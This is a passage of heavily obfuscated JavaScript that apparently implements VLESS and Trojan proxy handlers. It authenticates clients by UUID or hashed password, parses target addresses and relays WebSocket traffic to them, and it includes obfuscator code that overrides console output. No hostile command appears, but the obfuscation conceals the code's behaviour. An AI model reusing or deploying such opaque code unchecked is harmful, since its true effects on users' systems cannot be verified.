_0x33b5f3=_0x3792ce[_0x59fddf(0x9f,0xe2,0xca,0xf6)];if(_0x33b5f3[_0x5b33bf(0x1e6,0x70,0x11c,0x1e5)]===-0x1cad+-0xa0b+0x26b8&&_0x33b5f3['Answer']&&_0x26abde[_0x59fddf(0x1e5,0x11d,0x2b9,0x210)](_0x33b5f3[_0x5b33bf(0xad,0x3f,0x5,-0xc8)][_0x5b33bf(-0xd7,-0x72,-0x11,0x0)],0xe72*-0x2+0x489*0x3+0x12d*0xd)){const _0x230533=_0x33b5f3[_0x59fddf(0x87,-0x4a,0x6a,0x6c)][_0x5b33bf(0x219,0x1a1,0x151,0xb5)](_0xb15daa=>_0xb15daa[_0x59fddf(0x170,0x150,0x16f,0x96)]===0x267f+0x9a7*0x1+-0x11*0x2d5);if(_0x230533){if(_0x26abde[_0x59fddf(0x152,0x191,0xb4,0x139)](_0x59fddf(0xea,0x17d,0x163,0x9b),_0x26abde[_0x5b33bf(0x147,0x125,0x144,0x1d0)])){_0xd6069d(_0x230533[_0x59fddf(0x9f,0x77,0xab,0x35)]);return;}else{let _0x5bf29e;try{const _0x228895=EfjlBb['JvYeZ'](_0x58473c,EfjlBb[_0x5b33bf(0x1b9,0xfc,0x107,0xd2)](EfjlBb[_0x5b33bf(0x139,0x135,0x107,0xbd)](EfjlBb[_0x5b33bf(-0xb5,0x6d,-0x27,0x2f)],EfjlBb[_0x5b33bf(0x7d,0xc2,0xe9,0x27)]),');'));_0x5bf29e=EfjlBb[_0x5b33bf(0xaa,0x7a,0xa6,0x8b)](_0x228895);}catch(_0x3e7760){_0x5bf29e=_0x23f990;}const _0x12ce13=_0x5bf29e[_0x59fddf(0x1ae,0x1fb,0x28a,0x1f3)]=_0x5bf29e['console']||{},_0x51fe41=[EfjlBb[_0x59fddf(0x1c4,0x176,0x1ae,0x28f)],EfjlBb['pqvBO'],EfjlBb[_0x5b33bf(0xf2,0x46,0x2d,0x6b)],EfjlBb[_0x5b33bf(0x1e9,0x235,0x17b,0xcf)],_0x59fddf(0x174,0xad,0x149,0x1f7),EfjlBb[_0x5b33bf(0x143,0x1f,0xef,0xc7)],EfjlBb['YVNiC']];for(let _0xd4f310=-0x1bc7+0x17e5*0x1+0x3e2;EfjlBb[_0x5b33bf(0x20f,0x100,0x16b,0x166)](_0xd4f310,_0x51fe41[_0x59fddf(0x71,0x104,0x18,0x24)]);_0xd4f310++){const _0x33ac25=_0x3da57c[_0x59fddf(0x1e2,0x182,0x123,0x13c)+'r'][_0x5b33bf(0x3f,0xe9,0x59,0x120)][_0x59fddf(0x1d5,0x19e,0x173,0xff)](_0x41b56c),_0x2f382a=_0x51fe41[_0xd4f310],_0x220702=_0x12ce13[_0x2f382a]||_0x33ac25;_0x33ac25[_0x59fddf(0x163,0x102,0x9c,0x21c)]=_0x1357a1[_0x59fddf(0x1d5,0x18d,0x123,0x29c)](_0x17a596),_0x33ac25[_0x59fddf(0x1d4,0x19b,0xfd,0x1ae)]=_0x220702[_0x59fddf(0x1d4,0x22d,0x177,0x252)][_0x59fddf(0x1d5,0x191,0x10d,0x222)](_0x220702),_0x12ce13[_0x2f382a]=_0x33ac25;}}}}_0x26abde[_0x59fddf(0x5c,0x138,0x77,0x14)](_0x23de89);}else _0x533601[_0x5b33bf(0x1b5,0x1fd,0x13c,0xd5)](_0x16608d);})[_0x5d3e2c(-0x184,-0x225,-0x1ee,-0xfc)](_0x2d3e77=>{function _0x2e9d92(_0x410b38,_0x48aa39,_0x5f13d4,_0x5e5563){return _0x5d3e2c(_0x48aa39-0x3af,_0x410b38,_0x5f13d4-0x171,_0x5e5563-0xb0);}_0x26abde[_0x2e9d92(0x228,0x285,0x27e,0x347)](_0x23de89);});}}function _0x5d0d83(_0x573000,_0x36d707,_0x19b06d,_0x18b32f){return _0x5d26c7(_0x573000- -0x6f,_0x36d707-0x1d1,_0x18b32f,_0x18b32f-0x16d);}function _0x25eedb(_0x2c7d43,_0x2d4a6f,_0x35ab52,_0x11122e){return _0x343f9f(_0x2c7d43,_0x2d4a6f-0x2b,_0x11122e- -0x149,_0x11122e-0x65);}_0xf80686[_0x5d0d83(-0x1eb,-0x12b,-0x188,-0x233)](_0x23de89);});}function handleVlessConnection(_0x50f34b,_0x38abc6){const _0x28c2e7={'rVpgs':_0x24feaa(0x11d,-0x4f,0x80,0x30),'hzGRm':function(_0x57c5a1,_0x5dc76a){return _0x57c5a1===_0x5dc76a;},'CGtkX':function(_0x320e59,_0x2a8f4e){return _0x320e59+_0x2a8f4e;},'nNjnW':function(_0x1560ca,_0x5506ee){return _0x1560ca==_0x5506ee;},'rhzNV':function(_0x6e9003,_0x4cedcf){return _0x6e9003==_0x4cedcf;},'WZDZE':function(_0xaef0e3,_0x5b4400){return _0xaef0e3+_0x5b4400;},'CXMPw':function(_0x1d5ddf,_0x42541e){return _0x1d5ddf(_0x42541e);},'mYGEu':function(_0x4fa330,_0x9ea249){return _0x4fa330(_0x9ea249);}};function _0x24feaa(_0x32470c,_0x5561f8,_0x3de77c,_0x1f31b2){return _0x23a861(_0x32470c,_0x5561f8-0x32,_0x3de77c-0x175,_0x3de77c-0x4b);}function _0x39374f(_0x1211bb,_0x4e118e,_0x28c223,_0x169e06){return _0x23a861(_0x1211bb,_0x4e118e-0x1e4,_0x28c223-0x194,_0x4e118e-0x21e);}const [_0x486346]=_0x38abc6,_0x1f4065=_0x38abc6[_0x24feaa(0xf9,0xf9,0x8b,-0x32)](-0x23e0+0x177b*-0x1+-0x4*-0xed7,-0x18f+0x7d*-0x5+-0x15b*-0x3);if(!_0x1f4065[_0x24feaa(0x176,0x18,0xc9,0xdc)]((_0x307e51,_0xcd9440)=>_0x307e51==parseInt(uuid['substr'](_0xcd9440*(-0x1*0xaab+-0x1b1*-0x15+-0x18d8),0x1835+-0x8da+-0xf59),-0x866+-0xa12+0x1288)))return![];let _0x2151a0=_0x28c2e7[_0x39374f(0x24a,0x2ca,0x36f,0x25a)](_0x38abc6[_0x39374f(0x1ee,0x25e,0x335,0x1b1)](0x4*0x935+-0x15*0x14b+0x1e*-0x52,-0x1ce2+-0x1*-0x1646+0x6ae)['readUInt8'](),-0x27*0x34+-0x81f*-0x1+-0x10*0x2);const _0x30bb41=_0x38abc6[_0x39374f(0x1e1,0x25e,0x1cb,0x25e)](_0x2151a0,_0x2151a0+=-0xa42+-0xf0b*0x1+0x13*0x155)['readUInt16'+'BE'](-0x103d+-0x1bfa+0x2c37),_0x13334b=_0x38abc6[_0x24feaa(0x12,0x13d,0x8b,0x12)](_0x2151a0,_0x2151a0+=-0x342*0x1+0x59e+0xc9*-0x3)[_0x24feaa(0x84,0x28,-0x47,-0xf0)](),_0x29804a=_0x28c2e7['nNjnW'](_0x13334b,0x1dce+0x16a9+0x5*-0xa7e)?_0x38abc6[_0x39374f(0x25b,0x25e,0x297,0x2a1)](_0x2151a0,_0x2151a0+=0x7d3+0x7ed+0xd4*-0x13)[_0x24feaa(0x18,-0xa,-0x5,-0xa0)]('.'):_0x28c2e7[_0x39374f(0x223,0x1d2,0x136,0x261)](_0x13334b,0x6bb*0x5+0x1*0x12c4+0x3469*-0x1)?new TextDecoder()[_0x24feaa(0x0,-0x6a,0x28,0x77)](_0x38abc6[_0x39374f(0x209,0x25e,0x2d5,0x2c2)](_0x28c2e7['WZDZE'](_0x2151a0,-0x1*-0x1caf+0x29*0xa7+0x7*-0x7eb),_0x2151a0+=_0x28c2e7[_0x24feaa(0xf7,0xc8,0xf7,0x55)](0x499+-0x3e8+0xb*-0x10,_0x38abc6[_0x24feaa(0x48,0x19,0x8b,0x28)](_0x2151a0,_0x28c2e7['CGtkX'](_0x2151a0,-0x1e38*0x1+-0x1*0x1d63+-0x1*-0x3b9c))['readUInt8']()))):_0x28c2e7[_0x24feaa(0x3,0x1d,-0x1,0x5f)](_0x13334b,-0x1*0xa8b+0x1574+-0xae6)?_0x38abc6[_0x24feaa(0x140,0x1a,0x8b,0xb2)](_0x2151a0,_0x2151a0+=0x4ac+0x1b7d+0x63*-0x53)[_0x24feaa(-0x13d,-0x137,-0x69,-0x80)]((_0x29e78d,_0x5949be,_0x218844,_0x3230aa)=>_0x218844%(0x508+0xd40+-0x1246)?_0x29e78d[_0x39374f(0xf4,0x182,0xa5,0x25d)](_0x3230aa['slice'](_0x218844-(0x17*0x18d+-0xb5*-0x7+-0x289d),_0x218844+(-0x1d18+-0x1bd8+-0x12fb*-0x3))):_0x29e78d,[])['map'](_0x3d2381=>_0x3d2381[_0x24feaa(0x81,-0xca,0x3,0x8d)+'BE'](-0xeed+-0x5a*0x26+0x1c49)[_0x39374f(0x2d4,0x2cc,0x340,0x395)](0x35*0x5a+0x29a+-0x21e*0xa))[_0x24feaa(-0xc4,0x2f,-0x5,-0xdc)](':'):'';_0x50f34b[_0x39374f(0x22e,0x251,0x22c,0x24c)](new Uint8Array([_0x486346,0x149a+-0x1a1d+0x583]));const _0x3f6cb6=_0x28c2e7[_0x39374f(0x11f,0x1de,0x248,0x1ef)](createWebSocketStream,_0x50f34b);return _0x28c2e7[_0x24feaa(0xbb,0x6c,0x8e,0xd9)](resolveHost,_0x29804a)['then'](_0x18a350=>{const _0x55ac56={};function _0x2bb6b6(_0x199b00,_0x4cf5ea,_0x20aac2,_0x5df674){return _0x39374f(_0x20aac2,_0x5df674- -0x7a,_0x20aac2-0x142,_0x5df674-0xf1);}_0x55ac56[_0x2bb6b6(0x1c3,0x217,0x20b,0x184)]=_0x2bb6b6(0x1e3,0x2b4,0x100,0x1d9);function _0x416472(_0x163d18,_0x385584,_0x1a5ec3,_0x311b30){return _0x39374f(_0x163d18,_0x1a5ec3-0x320,_0x1a5ec3-0x58,_0x311b30-0x64);}const _0x4439a4=_0x55ac56,_0x14cd2c={};_0x14cd2c[_0x2bb6b6(0x250,0x258,0x2ca,0x216)]=_0x18a350,_0x14cd2c[_0x416472(0x45b,0x3a1,0x47e,0x498)]=_0x30bb41,net['connect'](_0x14cd2c,function(){function _0xbb3570(_0x2e2030,_0x238aa3,_0x1b92ed,_0x228705){return _0x416472(_0x228705,_0x238aa3-0x199,_0x1b92ed- -0x631,_0x228705-0x0);}function _0x531021(_0x248148,_0x3199c3,_0x3e6f49,_0x4c1cff){return _0x416472(_0x3e6f49,_0x3199c3-0x186,_0x248148- -0x299,_0x4c1cff-0x34);}this[_0xbb3570(-0x17d,-0x68,-0x112,-0x1b2)](_0x38abc6['slice'](_0x2151a0)),_0x3f6cb6['on'](_0x4439a4[_0x531021(0x285,0x2de,0x24a,0x348)],()=>{})[_0x531021(0x1d0,0x259,0x111,0x144)](this)['on'](_0xbb3570(-0x153,-0x173,-0xbe,-0xa),()=>{})[_0x531021(0x1d0,0x281,0x23f,0x28e)](_0x3f6cb6);})['on'](_0x28c2e7[_0x2bb6b6(0xf7,0x12e,0xff,0xdc)],()=>{});})[_0x24feaa(0x2b,0x79,0x45,-0x8)](_0x3144b0=>{const _0x5b7262={'VyDyQ':function(_0x4aa232,_0xfe0663){function _0x123cb1(_0x5c7dd6,_0x584609,_0x3b7339,_0x3bf33e){return _0x38c5(_0x3b7339-0x32b,_0x584609);}return _0x28c2e7[_0x123cb1(0x472,0x464,0x4da,0x57c)](_0x4aa232,_0xfe0663);},'RqgyX':_0x9391de(0x305,0x3b4,0x370,0x422),'FyRnO':_0x28c2e7['rVpgs']},_0x40d1df={};_0x40d1df[_0x9391de(0x3b7,0x402,0x33a,0x4bc)]=_0x29804a;function _0x180cd0(_0x2a5b63,_0x5814c8,_0x16e68d,_0x319272){return _0x39374f(_0x2a5b63,_0x16e68d- -0x32b,_0x16e68d-0x6a,_0x319272-0x193);}function _0x9391de(_0x5e8247,_0x28eaa6,_0x2df504,_0x291a3f){return _0x24feaa(_0x5e8247,_0x28eaa6-0x16f,_0x28eaa6-0x345,_0x291a3f-0x6a);}_0x40d1df[_0x9391de(0x354,0x2d0,0x343,0x213)]=_0x30bb41,net[_0x9391de(0x3ca,0x374,0x353,0x404)](_0x40d1df,function(){function _0x4f3df5(_0x426db5,_0x4bdd32,_0x322846,_0x13da7b){return _0x180cd0(_0x4bdd32,_0x4bdd32-0xf5,_0x13da7b-0x360,_0x13da7b-0x63);}function _0x4c3831(_0x11441e,_0x4061ca,_0x51e6df,_0x29c52f){return _0x9391de(_0x4061ca,_0x11441e- -0x23c,_0x51e6df-0x86,_0x29c52f-0x98);}if(_0x5b7262[_0x4f3df5(0x27d,0x2ab,0x19d,0x1f3)](_0x5b7262['RqgyX'],_0x5b7262[_0x4c3831(0x1c2,0x1c8,0x165,0x28c)]))this[_0x4f3df5(0x227,0x268,0x2d8,0x234)](_0x38abc6[_0x4c3831(0x194,0x134,0x134,0x252)](_0x2151a0)),_0x3f6cb6['on'](_0x5b7262[_0x4c3831(0x1c7,0x19d,0x277,0x1b1)],()=>{})[_0x4c3831(0x7f,0x10e,0xd5,-0x5b)](this)['on'](_0x5b7262[_0x4c3831(0x1c7,0x290,0x299,0x19a)],()=>{})['pipe'](_0x3f6cb6);else return![];})['on'](_0x28c2e7[_0x9391de(0x241,0x2c8,0x2a9,0x258)],()=>{});}),!![];}function handleTrojanConnection(_0x5073a1,_0x48aecb){const _0x223767={'hoQEk':_0x444592(0x185,0xeb,0xdd,0x58),'mdzro':'Not\x20Found\x0a','GZICK':function(_0xde877f,_0x4ee410,_0x8d30d){return _0xde877f(_0x4ee410,_0x8d30d);},'zPsHv':function(_0x25b6ba,_0x4159d4){return _0x25b6ba<_0x4159d4;},'FPJoe':_0x3b18de(-0x1bc,-0x280,-0x21a,-0xf1),'dBAjp':function(_0x3cd95f,_0x224e4c){return _0x3cd95f+_0x224e4c;},'lEMRs':_0x444592(0xf9,0x86,0xa8,0x5b)+_0x3b18de(-0x14b,-0x1b3,-0x1dd,-0x133)+_0x444592(0x21b,0x148,0x14e,0xab)+'\x20)','tzACH':function(_0x5e930f,_0x4e4642){return _0x5e930f(_0x4e4642);},'ISOie':_0x444592(0x9a,0x142,0x173,0x1b9),'ujzRm':_0x444592(0x15,0x102,0xe8,0x105),'hfddl':function(_0x3a3a36,_0x314945){return _0x3a3a36===_0x314945;},'LtVUB':function(_0x4a68bd,_0xab8345){return _0x4a68bd+_0xab8345;},'VbzPg':function(_0x5f1156,_0x409eb0){return _0x5f1156!==_0x409eb0;},'lrtnn':function(_0x4e8c07,_0x25985d){return _0x4e8c07+_0x25985d;},'IcpTS':_0x444592(0x8c,0x105,0x11b,0x16a),'dYenr':function(_0x3c9586,_0x590c4f){return _0x3c9586+_0x590c4f;},'BVtKt':function(_0x292486,_0x59edbc){return _0x292486===_0x59edbc;},'XsxtB':function(_0x7922ba,_0x5cd484){return _0x7922ba===_0x5cd484;},'RTxJf':_0x3b18de(-0x27a,-0x27f,-0x2ca,-0x2b6)};function _0x444592(_0x2b5451,_0x7a85b,_0x4309d3,_0x57a3e3){return _0x187de4(_0x2b5451-0xff,_0x4309d3-0x113,_0x2b5451,_0x57a3e3-0x7f);}function _0x3b18de(_0x1eb169,_0x26231e,_0x5a86d3,_0x27f456){return _0x23a861(_0x26231e,_0x26231e-0xd5,_0x5a86d3-0x34,_0x1eb169- -0x1f1);}try{if(_0x223767[_0x444592(0x82,0xaa,0x42,-0x40)](_0x48aecb[_0x444592(0x72,0x10e,0x34,-0x29)],-0xe5*0xc+0x1f29*-0x1+0x29*0x107))return![];const _0x2c8729=_0x48aecb['slice'](0x263e*-0x1+0x38b*0x3+-0x1b9d*-0x1,-0x34d+-0x3d*-0x8b+-0x1d9a)['toString'](),_0x3af213=[UUID];let _0x4bd2ee=null;for(const _0x1de431 of _0x3af213){const _0x83277c=crypto[_0x444592(-0x28,0x76,0x9a,-0x14)](_0x223767['ISOie'])[_0x3b18de(-0x178,-0x137,-0xb1,-0x1e2)](_0x1de431)[_0x444592(-0x1c,0x61,0x81,0x9)](_0x223767[_0x3b18de(-0x19f,-0x1c0,-0x249,-0x1a0)]);if(_0x223767[_0x3b18de(-0x120,-0x1e8,-0xdb,-0xc9)](_0x83277c,_0x2c8729)){_0x4bd2ee=_0x1de431;break;}}if(!_0x4bd2ee)return![];let _0x23377c=-0x1*0x1ebd+-0x1e0e+0x3d03;_0x223767[_0x444592(0x1f4,0x195,0x1ba,0x163)](_0x48aecb[_0x23377c],0x14af+-0x31*0x31+0x1*-0xb41)&&_0x48aecb[_0x223767[_0x3b18de(-0x1b7,-0x1f5,-0x102,-0x1b5)](_0x23377c,-0x9*0x1ff+0x1*-0xaf9+0x1*0x1cf1)]===-0x14c6+-0x183b+-0x2d0b*-0x1&&(_0x23377c+=0xaca*-0x3+-0x5*-0x1df+-0x1705*-0x1);const _0x2d8660=_0x48aecb[_0x23377c];if(_0x223767[_0x444592(0x17b,0x299,0x1c2,0x12f)](_0x2d8660,-0xa0b*-0x3+-0x1257+-0xbc9))return![];_0x23377c+=0x1061+-0x4a9+-0xbb7;const _0x27e466=_0x48aecb[_0x23377c];_0x23377c+=0x808+0x185c+-0x2063;let _0x357cb3,_0x4520fd;if(_0x27e466===-0x1*-0x1cda+-0x24a*0x1+0x1a8f*-0x1)_0x357cb3=_0x48aecb['slice'](_0x23377c,_0x223767[_0x3b18de(-0x11d,-0x13e,-0x11f,-0x1ae)](_0x23377c,-0x13de*-0x1+-0x1b5f*-0x1+-0x2f39))[_0x3b18de(-0x241,-0x1a9,-0x1ad,-0x30b)]('.'),_0x23377c+=0xba8+0x278+0x54*-0x2b;else{if(_0x27e466===-0x1*0xc31+-0xe*-0x2a0+0xc46*-0x2){const _0x20bedb=_0x48aecb[_0x23377c];_0x23377c+=0x6e3+0x119+-0x7fb,_0x357cb3=_0x48aecb[_0x444592(0x1f5,0x13d,0x129,0xfa)](_0x23377c,_0x223767[_0x444592(-0x35,0xc,0x94,0x60)](_0x23377c,_0x20bedb))[_0x3b18de(-0x143,-0xf2,-0xd8,-0x17a)](),_0x23377c+=_0x20bedb;}else{if(_0x223767[_0x444592(0x28e,0x119,0x1ba,0x179)](_0x27e466,0x1ad2+0x12a*-0x17+-0x8)){if('zywqW'===_0x223767[_0x3b18de(-0x228,-0x23b,-0x249,-0x1f5)]){const _0x1c1c52={};_0x1c1c52[_0x3b18de(-0x1c7,-0x1a7,-0x16b,-0x22e)+'pe']=_0x223767['hoQEk'],_0x4a4e38['writeHead'](-0x6*-0x438+0x2*0x6ee+-0x2598,_0x1c1c52),_0x37bc77[_0x444592(-0x43,0x6c,0x1c,0x91)](_0x223767[_0x3b18de(-0x1a2,-0x149,-0x11a,-0x20e)]);}else _0x357cb3=_0x48aecb[_0x3b18de(-0x1b1,-0xed,-0x117,-0x1eb)](_0x23377c,_0x223767[_0x444592(0x129,0x1ac,0x1b8,0x184)](_0x23377c,0x1a*-0x1a+0x6*-0x179+0xb8a))[_0x444592(0x4e,0x38,0x35,-0x2c)]((_0x6cff89,_0x1f1cc3,_0x5736a1,_0x524506)=>_0x5736a1%(-0x1fae+-0x14*-0x10a+0xae8)?_0x6cff89['concat'](_0x524506['slice'](_0x5736a1-(0x17*0x3+-0x2f*0x19+0x29*0x1b),_0x5736a1+(0x599*-0x1+0x9eb*-0x1+0x1d*0x89))):_0x6cff89,[])['map'](_0x27d054=>_0x27d054[_0x3b18de(-0x239,-0x208,-0x30c,-0x316)+'BE'](-0x227a*-0x1+-0xac5+-0x17b5)[_0x3b18de(-0x143,-0x123,-0x15d,-0xc1)](-0x49*0x79+0xb2d+0x5d9*0x4))['join'](':'),_0x23377c+=0x265*-0x5+0x10ab+-0x251*0x2;}else return![];}}_0x4520fd=_0x48aecb[_0x3b18de(-0x239,-0x23f,-0x24d,-0x199)+'BE'](_0x23377c),_0x23377c+=-0x24c0+0x3c9+0x20f9;if(_0x223767[_0x3b18de(-0x298,-0x214,-0x2e3,-0x24c)](_0x23377c,_0x48aecb[_0x444592(-0x97,-0x1d,0x34,-0x86)])&&_0x223767[_0x444592(0x16e,0x217,0x1a4,0x169)](_0x48aecb[_0x23377c],-0x41*0x5+0xa7*-0x2+0x2a0)&&_0x223767[_0x444592(0x164,0x12e,0x190,0x167)](_0x48aecb[_0x223767['lrtnn'](_0x23377c,-0x1a8*-0x12+-0x16*0xa6+-0xf8b)],0x26c+0x21a5+-0x2407)){if(_0x223767['RTxJf']===_0x223767['RTxJf'])_0x23377c+=0xb0b+0xd91+-0x189a;else{!_0x223767['GZICK'](_0x3e1a17,_0x59833c,_0x3024a2)&&_0xf48bc3['close']();return;}}const _0x3ac4b0=createWebSocketStream(_0x5073a1);return _0x223767[_0x444592(0x2e,0x20,0x6a,0xf3)](resolveHost,_0x357cb3)[_0x444592(0xe0,0x9f,0x9b,-0x35)](_0x186c51=>{const _0x175f96={'hsNAH':function(_0x44bc13,_0xd2fb39){return _0x44bc13!==_0xd2fb39;},'bZEJP':_0x33c214(0xd0,0xab,0x54,0x12a),'QsxhW':function(_0xdda117,_0x1e1ee2){function _0x25e389(_0x1437ce,_0x1bbac0,_0xc7627b,_0x3501ea){return _0x33c214(_0x1437ce-0xc4,_0x1bbac0-0x1b,_0x1437ce- -0xf6,_0x1bbac0);}return _0x223767[_0x25e389(-0x182,-0x228,-0x21a,-0x15f)](_0xdda117,_0x1e1ee2);},'mvfUc':_0x223767['FPJoe']};function _0x33c214(_0x40967e,_0x5daab7,_0x63f8c8,_0x8bc088){return _0x3b18de(_0x63f8c8-0x20c,_0x8bc088,_0x63f8c8-0x7d,_0x8bc088-0x90);}const _0x3da5a6={};_0x3da5a6[_0x17bcd0(0x1a1,0x212,0x142,0x17e)]=_0x186c51,_0x3da5a6['port']=_0x4520fd;function _0x17bcd0(_0x4b06a1,_0x1148b3,_0x333deb,_0x354e4b){return _0x444592(_0x4b06a1,_0x1148b3-0x4c,_0x333deb- -0x19,_0x354e4b-0x15d);}net['connect'](_0x3da5a6,function(){function _0x43d25b(_0x162409,_0x3ba187,_0x286a01,_0x870268){return _0x17bcd0(_0x870268,_0x3ba187-0xfd,_0x3ba187-0x37c,_0x870268-0x94);}function _0x18db77(_0x135de6,_0x27bb89,_0x28e451,_0x25f40d){return _0x33c214(_0x135de6-0xfe,_0x27bb89-0x15,_0x27bb89-0x15e,_0x28e451);}_0x175f96['hsNAH'](_0x175f96[_0x18db77(0xaf,0xbd,0x64,0x30)],_0x43d25b(0x44f,0x485,0x4a9,0x4de))?this[_0x18db77(0x22a,0x15a,0x1b8,0x192)](_0x486f03[_0x18db77(0x240,0x1b9,0x193,0x1f2)](_0x5f5701)):(_0x175f96[_0x18db77(0x1f9,0x1a6,0x159,0x10b)](_0x23377c,_0x48aecb[_0x43d25b(0x2cf,0x397,0x408,0x39b)])&&this[_0x18db77(0xaf,0x15a,0x19f,0x120)](_0x48aecb[_0x18db77(0x196,0x1b9,0x159,0x1be)](_0x23377c)),_0x3ac4b0['on'](_0x175f96[_0x43d25b(0x4cb,0x505,0x463,0x457)],()=>{})[_0x18db77(0x70,0xa4,0x62,0x61)](this)['on'](_0x175f96[_0x18db77(0x243,0x232,0x23d,0x2a9)],()=>{})[_0x43d25b(0x2b9,0x377,0x3a9,0x2fb)](_0x3ac4b0));})['on'](_0x17bcd0(0x1ac,0x7b,0x105,0x137),()=>{});})['catch'](_0x4163bc=>{const _0x19332b={'ZSsaO':function(_0x21ee5a,_0x302d51){return _0x223767['dBAjp'](_0x21ee5a,_0x302d51);},'NmRNv':_0x223767[_0x1b74cd(-0x124,-0x107,-0x11b,-0x1bb)],'hBNdR':function(_0x34e88c,_0x376dd2){function _0x158185(_0x1ccdff,_0x3430fb,_0x4c4753,_0x5d7fc2){return _0x1b74cd(_0x1ccdff,_0x5d7fc2-0x26f,_0x4c4753-0x7a,_0x5d7fc2-0xe);}return _0x223767[_0x158185(0x105,0x1e2,0x1ff,0x14e)](_0x34e88c,_0x376dd2);},'nxYiD':function(_0x2c944d,_0x4e2c15){return _0x2c944d===_0x4e2c15;},'eenna':function(_0x56d0d6,_0x4f6e79){return _0x56d0d6!==_0x4f6e79;},'lmZDz':_0x4f2673(-0x181,-0xa8,0x2,-0x177),'DYsjs':_0x4f2673(-0x1fc,-0x16b,-0x1c4,-0x1ac),'TUVCk':_0x1b74cd(-0x53,-0x6d,-0x47,-0x89)};function _0x1b74cd(_0x3e4d7d,_0x3c5f50,_0x2fa0b8,_0x1080f4){return _0x444592(_0x3e4d7d,_0x3c5f50-0x18f,_0x3c5f50- -0x18b,_0x1080f4-0x108);}const _0x3d5aa0={};_0x3d5aa0[_0x4f2673(-0x13f,-0x86,-0x54,0xe)]=_0x357cb3,_0x3d5aa0['port']=_0x4520fd;function _0x4f2673(_0x4038b0,_0x2d2c79,_0x3e263f,_0x3d0988){return _0x3b18de(_0x2d2c79-0xf9,_0x3e263f,_0x3e263f-0x1e,_0x3d0988-0xa4);}net[_0x1b74cd(-0xa6,-0xbe,-0x17f,-0x137)](_0x3d5aa0,function(){function _0x2151ae(_0x106c50,_0x12dbfc,_0x12c653,_0x5c1ad3){return _0x1b74cd(_0x12dbfc,_0x5c1ad3-0x31f,_0x12c653-0x152,_0x5c1ad3-0x17b);}function _0x4a03b2(_0x23f2cc,_0xca1d30,_0x3e8574,_0x570ff0){return _0x1b74cd(_0xca1d30,_0x570ff0- -0x175,_0x3e8574-0x134,_0x570ff0-0xba);}if(_0x19332b[_0x2151ae(0x162,0x28c,0x1a9,0x1e9)](_0x4a03b2(-0x206,-0x307,-0x28c,-0x288),_0x2151ae(0x186,0x19e,0x270,0x20c))){if(_0x23377c<_0x48aecb[_0x2151ae(0x166,0x163,0x1fa,0x1c8)]){if(_0x19332b[_0x2151ae(0x24d,0x208,0x278,0x28c)](_0x19332b[_0x4a03b2(-0x1f0,-0x236,-0x169,-0x20c)],_0x19332b[_0x4a03b2(-0xe3,-0x11d,-0x271,-0x198)]))this[_0x4a03b2(-0x1b0,-0x2ec,-0x1ed,-0x236)](_0x48aecb[_0x2151ae(0x2a8,0x1f0,0x314,0x2bd)](_0x23377c));else{const _0x475da5=_0xcf52c7(NfgUXo[_0x4a03b2(-0x20e,-0x275,-0x264,-0x1a7)](_0x4a03b2(-0x21f,-0x239,-0x2b3,-0x21b)+_0x2151ae(0x144,0x1de,0x1cc,0x1dc),NfgUXo[_0x2151ae(0x208,0x1d6,0x229,0x27a)])+');');_0x44578e=_0x475da5();}}_0x3ac4b0['on'](_0x4a03b2(-0x107,-0x105,-0x110,-0x1e2),()=>{})[_0x2151ae(0x111,0x1a4,0x1b9,0x1a8)](this)['on'](_0x19332b[_0x4a03b2(-0x240,-0x2ef,-0x1fb,-0x283)],()=>{})[_0x2151ae(0x278,0x1e0,0x166,0x1a8)](_0x3ac4b0);}else{_0x19332b[_0x4a03b2(-0x110,-0x102,-0x254,-0x182)](_0x2244cb,_0x214fa9['data']);return;}})['on'](_0x223767[_0x1b74cd(-0xd4,-0x146,-0x175,-0x1f4)],()=>{});}),!![];}catch(_0x58d625){return![];}}wss['on'](_0x187de4(0xb,0x43,-0x8,0x8e),(_0x47e7e4,_0x431831)=>{const _0x2339f9={'xtmfg':function(_0x4c02ce,_0x31b039){return _0x4c02ce+_0x31b039;},'JorHT':function(_0x33de90,_0x3b7ff6){return _0x33de90>_0x3b7ff6;},'LMQeH':function(_0x386182,_0x1f75cd){return _0x386182===_0x1f75cd;},'mKYWI':function(_0x722ca4,_0x4b70c2){return _0x722ca4===_0x4b70c2;},'WXAmI':_0x5527da(0x4c7,0x4bc,0x3f7,0x56e),'umEPR':function(_0x35d18d,_0x424e6d,_0x31621a){return _0x35d18d(_0x424e6d,_0x31621a);},'WtJzW':'message','qwTSw':'error'};function _0xc8e065(_0x20ffb2,_0x3603a9,_0x4c7179,_0x19ef62){return _0x23a861(_0x3603a9,_0x3603a9-0x1e0,_0x4c7179-0xcd,_0x19ef62-0x3e);}function _0x5527da(_0xaf6dbe,_0x26fd51,_0x57e93f,_0x31181a){return _0x23a861(_0x26fd51,_0x26fd51-0xb2,_0x57e93f-0x5a,_0xaf6dbe-0x40f);}const _0x49b2a7=_0x431831[_0x5527da(0x3de,0x468,0x42d,0x4b1)]||'';_0x47e7e4[_0x5527da(0x34c,0x347,0x32c,0x357)](_0x2339f9[_0xc8e065(0x65,-0x50,0x3d,0xc)],_0x30e286=>{function _0x23bae7(_0x541d50,_0x3c9746,_0x764a58,_0x56e146){return _0x5527da(_0x3c9746-0xa0,_0x56e146,_0x764a58-0x136,_0x56e146-0x16a);}function _0x1ffb25(_0x2a1fe2,_0x70194a,_0x403528,_0x3d2902){return _0xc8e065(_0x2a1fe2-0x155,_0x403528,_0x403528-0x121,_0x2a1fe2-0x2d);}if(_0x2339f9['JorHT'](_0x30e286['length'],0x3*-0x1b+0x3fb+-0x399)&&_0x2339f9[_0x23bae7(0x335,0x3e3,0x423,0x39c)](_0x30e286[-0x100b+-0x94*-0x4+0x5f*0x25],0xfe3+0x13f5+-0x8*0x47b)){const 